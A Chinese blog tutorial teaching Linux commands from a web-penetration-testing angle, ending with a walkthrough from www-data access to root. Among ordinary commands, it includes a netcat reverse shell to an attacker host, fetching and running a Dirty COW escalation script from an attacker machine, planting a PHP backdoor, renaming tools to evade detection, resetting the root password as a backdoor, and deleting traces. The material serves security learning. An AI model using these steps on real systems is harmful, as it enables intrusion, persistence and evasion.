Web渗透必备:Linux系统与50+核心命令实战指南

2025博客之星年度评选已开启 10w+人浏览 3.4k人参与

Web渗透必备:Linux系统与50+核心命令实战指南

在Web安全领域,70%以上的Web服务器运行在Linux系统(如Apache、Nginx、Tomcat多部署于Ubuntu、CentOS)。渗透测试中,无论是获取目标服务器权限后查看日志、定位配置文件,还是上传漏洞利用脚本、执行命令,都离不开Linux命令。本文遵循“少而精”原则,聚焦50+最常用命令(覆盖90%渗透场景),结合真实渗透场景讲解用法。

一、Linux基础认知:先搞懂“渗透中用得到的核心概念”

学习命令前,先明确Linux与Windows的核心差异,以及渗透中高频接触的系统特性——这些是理解命令用途的基础。

1.1 Linux的3个核心特点(渗透视角)

  • 多用户多任务:支持同时登录多个用户(如root管理员、www-data Web服务用户),渗透中常需切换用户查看权限差异(如www-data用户能否读取数据库配置);
  • 命令行优先:图形界面非必需,服务器多为“最小化安装”(仅命令行),渗透中所有操作均通过命令行完成;
  • 文件系统树形结构:所有文件从根目录/开始,无“C盘/D盘”概念,渗透高频目录需牢记:
    目录路径渗透场景用途
    /var/www/html主流Web根目录(Apache/Nginx默认),常放网页文件、配置文件
    /var/log系统/应用日志目录(如Web访问日志apache2/access.log、系统日志auth.log
    /etc系统配置目录(如Web服务配置httpd/httpd.conf、数据库配置mysql/my.cnf
    /tmp临时目录(可写权限高,渗透中常用来上传漏洞利用脚本、存放临时文件)
    /home普通用户家目录(如/home/user),可能存放用户私钥、配置文件
    /rootroot管理员家目录(最高权限目录,渗透提权后重点查看)

1.2 命令行基础:3个必备操作

  • 命令格式命令 [选项] [参数](如ls -l /var/wwwls是命令,-l是选项,/var/www是参数);
  • 快捷键
    • Tab:自动补全命令/路径(渗透中避免输错长路径,如/var/log/apache2/可输/v/l/a后按Tab补全);
    • Ctrl+C:终止当前命令(如执行ping baidu.com后,按Ctrl+C停止);
    • Ctrl+L:清屏(日志输出太多时用,比clear命令更快捷);
  • 帮助查询:忘记命令用法时,用命令 --help(简洁帮助)或man 命令(详细手册),如ls --helpman find

二、模块1:文件操作与查找(渗透中70%场景会用到)

Web渗透本质是“找文件、读内容、改权限”——这部分15+命令是核心,涵盖从“定位文件”到“编辑内容”的全流程。

2.1 基础导航:3个命令搞定“去哪里、在何处”

命令用途基本语法常用选项渗透场景示例
pwd显示当前所在路径pwd渗透中刚获取shell,执行pwd确认当前目录(如/tmp
cd切换目录cd 目标路径cd ..(回上级)
cd ~(回当前用户家目录)
cd -(回上一次目录)
1. 从/tmp切换到Web根目录:cd /var/www/html
2. 回上级目录查看配置:cd /etc/httpd/conf && cd ..
ls列出目录下文件/文件夹ls [选项] 路径-l(详细列表,含权限、大小)
-a(显示隐藏文件,如.htaccess
-h(大小人性化,如KB/MB)
1. 查看Web目录文件及权限:ls -l /var/www/html
2. 找隐藏配置文件:ls -a /etc/nginx/

2.2 内容查看:5个命令“读日志、找密码”

命令用途基本语法常用选项渗透场景示例
cat一次性显示文件全部内容cat 文件名-n(显示行号,便于定位)查看Web配置文件找数据库密码:cat -n /var/www/config.php
more分页显示长文件(向下翻)more 文件名空格(翻页)、q(退出)查看系统安全日志(内容多):more /var/log/auth.log
less分页显示(可上下翻)less 文件名上下箭头(翻行)、/关键词(搜索)、q(退出)渗透中在Web日志找SQL注入请求:less /var/log/apache2/access.log → 输入/union select搜索
tail查看文件末尾内容tail 文件名-f(实时跟踪,日志更新时自动显示)
-n 10(显示最后10行,默认10行)
实时监控Web访问日志,看是否有自己的渗透请求:tail -f /var/log/apache2/access.log
head查看文件开头内容head 文件名-n 5(显示前5行)查看/etc/passwd前10个用户(判断是否有异常用户):head -n 10 /etc/passwd

2.3 文件操作:4个命令“传文件、改名字”

命令用途基本语法常用选项渗透场景示例
cp复制文件/文件夹cp 源路径 目标路径-r(复制文件夹,递归)1. 备份Web配置文件(改配置前必做):cp /etc/nginx/nginx.conf /tmp/nginx.conf.bak
2. 复制漏洞利用脚本到/tmpcp /home/user/exploit.sh /tmp/
mv移动/重命名文件mv 源路径 目标路径1. 重命名恶意脚本(躲避检测):mv exploit.sh test.sh
2. 把上传的后门移动到Web根目录:mv /tmp/backdoor.php /var/www/html/
rm删除文件/文件夹rm 路径-f(强制删除,不提示)
-r(删除文件夹,递归)
1. 删除临时文件(清理痕迹):rm -f /tmp/test.sh
2. 删除无用的Web目录(谨慎!):rm -rf /var/www/oldsite-rf=强制删文件夹)
touch创建空文件/更新文件时间touch 文件名渗透中创建测试文件,判断目录是否可写:touch /var/www/html/test.txt(能创建说明目录有写权限)

2.4 目录操作:2个命令“建目录、删目录”

命令用途基本语法常用选项渗透场景示例
mkdir创建目录mkdir 目录名-p(创建多级目录,父目录不存在时自动创建)渗透中创建存放工具的目录:mkdir -p /tmp/tools/exploit
rmdir删除空目录rmdir 目录名无(仅能删空目录,非空目录用rm -r删除空的临时目录:rmdir /tmp/empty_dir

2.5 高级查找:2个命令“精准定位关键文件”

渗透中最核心的命令!用于找配置文件、日志、密码文件。

命令用途基本语法常用选项&参数渗透场景示例
find按路径/名称/类型查找文件find 查找路径 选项 参数-name "关键词"(按名称找,支持通配符*
-type f(找文件)、-type d(找目录)
-size +10M(找大于10MB的文件)
-exec 命令 {} \;(找到后执行命令,{}代指找到的文件)
1. 全系统找Web配置文件:find / -name "*.conf" -type f*.conf匹配所有配置文件)
2. 找/var/www下含“password”的PHP文件:find /var/www -name "*.php" -type f -exec grep "password" {} \;
grep按关键词搜索文件内容grep "关键词" 文件名/路径-i(忽略大小写)
-n(显示行号)
-v(反向匹配,排除关键词)
-r(递归搜索目录下所有文件)
1. 在Web配置中找数据库密码:grep -n "db_password" /var/www/config.php
2. 递归搜索/etc目录下含“mysql”的配置:grep -r "mysql" /etc/

三、模块2:用户与权限管理(渗透提权的核心)

Linux权限严格区分“读(r)、写(w)、执行(x)”,渗透中“能否修改文件、能否执行脚本、能否切换root”全靠权限命令。

3.1 权限查看:1个命令“判断文件可操作范围”

命令用途基本语法输出解读(以ls -l为例)渗透场景示例
ls -l查看文件权限、所有者ls -l 路径示例输出:-rwxr-xr-- 1 root www-data 1234 May 20 14:30 exploit.sh
- 第1-10位:权限(rwx所有者、r-x组用户、r--其他用户)
- 第3列:所有者(root)
- 第4列:所属组(www-data)
渗透中判断脚本能否执行:ls -l /tmp/exploit.sh → 若所有者权限含x(如rwx),则可执行

3.2 权限修改:3个命令“改权限、换所有者”

命令用途基本语法常用选项/参数渗透场景示例
chmod修改文件/目录权限两种格式:
1. 数字法:chmod 755 路径
2. 符号法:chmod +x 路径
数字对应权限:
r=4w=2x=1(如7=4+2+1=rwx,5=4+1=r-x)
符号法:+x加执行权、+w加写权、-r减读权
1. 给漏洞利用脚本加执行权(必做):chmod +x /tmp/exploit.shchmod 755 /tmp/exploit.sh
2. 给Web配置文件加写权(改配置):chmod +w /etc/nginx/nginx.conf
chown修改文件所有者chown 用户名:组名 路径-R(递归修改目录下所有文件)渗透中让www-data用户拥有脚本权限:chown www-data:www-data /var/www/exploit.sh(Web服务用户常为www-data)
chgrp修改文件所属组chgrp 组名 路径-R(递归)把目录所属组改为www-data:chgrp -R www-data /var/www/html

3.3 用户切换:2个命令“切换身份查权限”

命令用途基本语法核心差异渗透场景示例
su切换用户(完全切换环境)su 用户名不加用户名默认切root,需输入目标用户密码1. 从普通用户切root:su root → 输入root密码
2. 切到www-data用户(查看Web权限):su www-data
sudo以其他用户身份执行命令(临时权限)sudo 命令需当前用户在sudoers配置中(如user ALL=(ALL) ALL),输入当前用户密码渗透中用sudo执行高权限命令:sudo cat /etc/shadow/etc/shadow存用户密码哈希,仅root可读,sudo临时提权)

3.4 用户管理:4个命令“查用户、改密码”(渗透中判断账户安全性)

命令用途基本语法渗透场景示例
useradd创建用户useradd 用户名(渗透中少用,多为查看)创建测试用户:useradd test
userdel删除用户userdel 用户名删除异常用户(清理痕迹):userdel -r test-r连家目录一起删)
passwd修改用户密码passwd 用户名渗透中获取root后改密码(留后门):passwd root → 输入新密码
id查看当前用户身份信息idid 用户名渗透中确认当前权限:id → 输出uid=0(root) gid=0(root)表示root权限

四、模块3:进程与端口管理(渗透中“找服务、杀进程”)

Web服务器运行的Apache、Nginx、MySQL等服务,本质都是“进程”;渗透中需查看“哪些服务在运行、开放了哪些端口”,甚至终止异常进程。

4.1 进程查看:2个命令“找服务、看资源”

命令用途基本语法常用选项渗透场景示例
ps查看当前进程快照ps [选项]-aux(查看所有用户的所有进程,最常用)
-ef(查看进程父子关系)
1. 找Web服务进程(如Nginx):`ps aux
top实时查看进程资源占用top快捷键:
P按CPU占用排序
M按内存占用排序
q退出
渗透中看是否有异常进程(如高CPU占用的挖矿进程):top → 观察COMMAND列是否有陌生进程

4.2 进程终止:2个命令“杀进程、清服务”

命令用途基本语法常用选项渗透场景示例
kill按进程ID(PID)杀进程kill [选项] PID-9(强制终止,最常用,避免进程残留)1. 先查Nginx的PID:`ps aux
killall按进程名杀所有进程killall 进程名-9(强制)批量终止所有nginx进程:killall -9 nginx(比kill更方便,无需查PID)

4.3 端口查看:3个命令“找开放端口、关联服务”

渗透中“端口=服务入口”(如80=HTTP、443=HTTPS、3306=MySQL、22=SSH),需确认目标开放哪些端口。

命令用途基本语法常用选项渗透场景示例
netstat查看网络连接、端口netstat [选项]-tulnp(最常用组合):
-t显示TCP端口
-u显示UDP端口
-l显示监听端口
-n显示IP/端口(不解析域名)
-p显示关联进程
查看所有开放的监听端口及对应服务:netstat -tulnp → 可看到“0.0.0.0:80”(80端口监听所有IP)、“127.0.0.1:3306”(MySQL仅本地监听)
ss替代netstat(更快)ss [选项]-tulnp(同netstat)效果同netstat,在部分系统(如CentOS 7+)中netstat需手动安装,ss默认自带:`ss -tulnp
lsof查看文件/端口关联的进程lsof -i :端口-i按网络连接过滤查看80端口关联的进程:lsof -i :80 → 输出中COMMAND列显示服务名(如nginx)

五、模块4:网络操作与数据传输(渗透中“传文件、测连通”)

渗透中常需“从本地传脚本到目标服务器”“从目标下载日志/配置文件”“测试目标与其他服务器的连通性”,这部分命令是“数据流转的关键”。

5.1 连通性测试:2个命令“测网络、追路由”

命令用途基本语法常用选项渗透场景示例
ping测试目标IP/域名连通性ping 目标IP/域名-c 4(发送4个包后停止,默认无限发送)1. 测试目标服务器是否在线:ping 192.168.1.100 -c 4
2. 测试服务器能否访问外网(判断是否出网):ping baidu.com -c 4(能通则可尝试外连攻击机)
traceroute追踪数据包传输路径traceroute 目标IP/域名(Windows对应tracert)渗透中判断目标服务器是否在局域网:traceroute 192.168.1.100 → 若路径只有1跳,说明在同一局域网

5.2 文件传输:4个命令“上传、下载、远程传”

渗透中最常用的文件传输方式,覆盖“本地→目标”“目标→本地”“目标→其他服务器”场景。

命令用途基本语法渗透场景示例
curl下载文件/发送HTTP请求curl 选项 目标URL-O(下载文件,保存为原文件名)
-L(跟随重定向)
wget下载文件(支持断点续传)wget 目标URL-c(断点续传,适合大文件)
-O 新文件名(指定保存文件名)
scp基于SSH远程传文件本地→远程:scp 本地文件 用户名@远程IP:远程路径
远程→本地:scp 用户名@远程IP:远程文件 本地路径
-r(传文件夹)
python HTTP服务临时开HTTP服务传文件Python2:python -m SimpleHTTPServer 端口
Python3:python3 -m http.server 端口
无(默认共享当前目录文件)

5.3 网络配置:2个命令“看IP、改网卡”

命令用途基本语法渗透场景示例
ifconfig查看/配置网卡信息ifconfigifconfig 网卡名(部分系统需安装net-tools)查看目标服务器IP:ifconfig → 找inet后的IP(如inet 192.168.1.100
ip替代ifconfig(更全面)ip addr(查看IP)
ip link(查看网卡)
查看IP:ip addr → 效果同ifconfig,默认自带(CentOS 7+、Ubuntu 16+推荐用)

六、模块5:系统信息与资源监控(渗透中“摸透目标服务器”)

获取目标权限后,需快速了解服务器配置(如系统版本、CPU、内存、磁盘),判断能否承载漏洞利用、是否有足够空间存放文件。

命令用途基本语法渗透场景示例
uname查看系统内核/版本信息uname -a(显示所有信息,最常用)渗透中判断系统版本(选对应漏洞利用脚本):uname -a → 输出含“Ubuntu 20.04”“Linux 5.4.0”
hostname查看主机名hostname判断服务器用途(如web-server-01可能是Web服务器):hostname
whoami查看当前登录用户名whoami渗透中确认当前权限(最常用命令之一):whoami → 输出root表示最高权限,www-data表示Web服务权限
w查看当前登录用户及活动w渗透中判断是否有其他用户在线(避免冲突):w → 看USER列是否有除自己外的用户
last查看用户登录历史last渗透中找异常登录(如陌生IP登录):last → 看FROM列(登录IP)和LOGIN@(登录时间)
df查看磁盘空间使用情况df -h-h人性化显示,如GB/MB)渗透中判断磁盘是否有空间(上传文件、生成日志):df -h → 看Avail列(可用空间)
du查看文件/目录大小du -sh 路径-s显示总大小,-h人性化)渗透中看日志文件大小(是否需要清理):du -sh /var/log/apache2/
free查看内存使用情况free -h渗透中判断内存是否充足(执行内存占用高的漏洞利用脚本):free -h → 看available列(可用内存)
uptime查看系统运行时间uptime渗透中判断服务器是否刚重启(可能是管理员维护):uptime → 输出up 2 days, 3 hours表示运行2天3小时

七、模块6:渗透专用工具命令(漏洞利用必备)

渗透中常需编译漏洞利用脚本、执行网络工具,这些命令是“从‘获取权限’到‘提权’的桥梁”。

命令用途基本语法渗透场景示例
gccC语言编译器(编译漏洞利用脚本)gcc 源码文件 -o 输出可执行文件编译缓冲区溢出漏洞利用脚本:gcc exploit.c -o exploit → 生成exploit可执行文件
make批量编译(复杂源码)make(需当前目录有Makefile编译内核漏洞提权工具(如Dirty COW):cd /tmp/dirtycow && make
nc网络工具(端口扫描、反弹shell)常用场景:
1. 反弹shell:nc 攻击机IP 端口 -e /bin/bash
2. 监听端口:nc -lvp 端口-l监听、-v详细、-p指定端口)
1. 攻击机监听8888端口:nc -lvp 8888
2. 目标机反弹shell到攻击机:nc 攻击机IP 8888 -e /bin/bash(获取目标shell)
nmap端口扫描(简单用法)nmap 目标IP(默认扫描1000个常用端口)渗透前期扫描目标开放端口:nmap 192.168.1.100 → 显示“80/tcp open http”“22/tcp open ssh”
tar压缩/解压文件(处理日志、工具包)压缩:tar -zcvf 压缩包.tar.gz 目录
解压:tar -zxvf 压缩包.tar.gz
1. 打包Web日志(下载到本地分析):tar -zcvf logs.tar.gz /var/log/apache2/
2. 解压漏洞利用工具包:tar -zxvf exploit-tools.tar.gz

八、实战场景:综合命令示例(渗透中“一套流程走下来”)

假设你已获取目标Linux服务器的www-data权限,需完成“找Web配置→看数据库密码→下载日志→上传提权脚本→执行提权”,命令流程如下:

  1. 确认当前权限与目录

    whoami  # 输出www-data,确认权限
    pwd     # 假设当前在/tmp
    cd /var/www/html  # 切换到Web根目录
    
  2. 找Web配置文件,提取数据库密码

    ls -l  # 看是否有config.php、db.php等配置文件
    cat config.php | grep -i "password"  # 在配置文件中找密码(忽略大小写)
    # 假设输出:$db_pass = "MySQL@123456";  得到数据库密码
    
  3. 查看Web访问日志,找异常请求

    tail -f /var/log/apache2/access.log  # 实时看日志,确认自己的请求是否被记录
    grep "union select" /var/log/apache2/access.log  # 找是否有其他SQL注入请求
    
  4. 从攻击机下载提权脚本到目标

    # 攻击机先执行:python3 -m http.server 8080(共享提权脚本dirtycow.sh)
    curl -O http://攻击机IP:8080/dirtycow.sh  # 目标机下载脚本
    chmod +x dirtycow.sh  # 加执行权限
    ./dirtycow.sh  # 执行提权脚本
    
  5. 提权后清理痕迹

    whoami  # 输出root,确认提权成功
    rm -f dirtycow.sh  # 删除提权脚本
    rm -f /var/www/html/test.txt  # 删除测试文件
    

九、学习建议:3步掌握Linux命令(渗透视角)

  1. 搭建环境,边练边记

    • 用VMware/VirtualBox装Ubuntu 20.04(贴近服务器环境),不要装图形界面;
    • 每天花30分钟,围绕“渗透场景”练习命令(如模拟“找配置文件→改权限→传文件”)。
  2. 优先记“渗透高频命令”

    • 第一优先级(每天用):ls、cd、pwd、cat、grep、find、chmod、whoami、ps、netstat、curl、wget
    • 第二优先级(提权/传文件用):su、sudo、kill、scp、python http.server、gcc、tar
  3. 遇到问题,善用“即时查询”

    • 忘记命令选项:命令 --help(如find --help);
    • 不知道怎么找文件:百度“Linux 找包含密码的配置文件”,优先看Stack Overflow、优快云的实战文章。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Flying_Fish_Xuan

你的鼓励将是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值